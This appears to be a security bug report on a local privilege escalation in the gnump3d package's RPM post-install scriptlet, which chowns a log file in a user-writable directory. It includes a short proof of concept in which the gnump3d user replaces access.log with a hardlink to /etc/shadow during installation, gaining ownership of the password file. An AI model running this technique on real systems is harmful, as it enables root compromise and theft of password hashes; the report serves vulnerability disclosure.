80 %post
 81 # if there is no access.log file, create one with correct permissions.
 82 # gnump3d does not do this.
 83 test -f /var/log/gnump3d/access.log || {
 84   touch /var/log/gnump3d/access.log;
 85   chmod 640 /var/log/gnump3d/access.log;
 86   chown gnump3d /var/log/gnump3d/access.log
 87 }

allows LPE on systems with fs.protected_hardlinks=0 if the race is won.

zypper ar https://download.opensuse.org/repositories/home:/jsegitz:/branches:/multimedia:/apps/openSUSE_Tumbleweed/home:jsegitz:branches:multimedia:apps.repo
to make winning the race easy

POC:
sh-5.0$ id
uid=63(gnump3d) gid=65534(nogroup) groups=65534(nogroup)
sh-5.0$ pwd
/var/log/gnump3d
sh-5.0$ rm access.log

As root: zypper in -f gnump3d

When installation hangs as gnump3d
sh-5.0$ rm access.log; ln /etc/shadow access.log
sh-5.0$ ls -lah /etc/shadow
-rw-r----- 2 gnump3d shadow 1.6K Oct 16 15:58 /etc/shadow